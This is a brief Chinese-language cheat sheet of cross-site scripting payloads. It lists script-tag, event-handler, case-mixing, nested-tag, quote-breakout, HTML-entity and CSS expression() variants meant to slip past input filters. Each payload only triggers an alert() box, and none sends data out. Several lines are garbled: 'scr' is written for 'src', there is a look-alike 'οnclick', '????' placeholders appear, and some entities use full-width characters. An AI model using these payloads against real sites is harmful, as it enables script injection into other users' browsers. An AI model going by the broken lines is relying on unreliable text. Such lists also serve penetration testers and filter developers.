最长用的肯定是：

<script>alert("xss")</script> 

DOM型一般用

<a href='#' onclick="alert(1111)">Click to see?</a>

大小写绕过

'"><sCrIpT>alert(63252)</sCrIpT>   

过滤script绕过

<scr<script>ipt>alert("XXSSSS")</scr</script>ipt>

htmlentities()没有过滤单引号，直接用单引号绕过

';alert('xss');'

构造js绕过

</script><script>alert('xss')</script>

收集的其它代码

<img scr=javascript:alert("xss")></img>

http://www.example.com/MyApp.aspx?myvar= "></XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>

<IFRAME SRC=javascript:alert('test')></IFRAME>

" οnclick="alert(1)"

<img scr="javascrip&#116&#58 alert(/xss/)></img>

(?用tab键弄出来的空格）
<img scr="javas????cript:alert(/xss/)" width=150></img> 

<img scr="#" onerror=alert(/xss/)></img>

<img scr="#" style="xss:expression(alert(/xss/));"></img>

(/**/ 表示注释）
<img scr="#"/* */onerror=alert(/xss/) width=150></img> 

<img src=vbscript:msgbox ("xss")></img>

<style> input {left:expression (alert('xss'))}</style>

<div style={left:expression (alert('xss'))}></div>

<div style={left:exp/* */ression (alert('xss'))}></div>

<div style={left:\0065\0078ression (alert('xss'))}></div>

html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>

unicode <div style="{left:expRessioN (alert('xss'))}">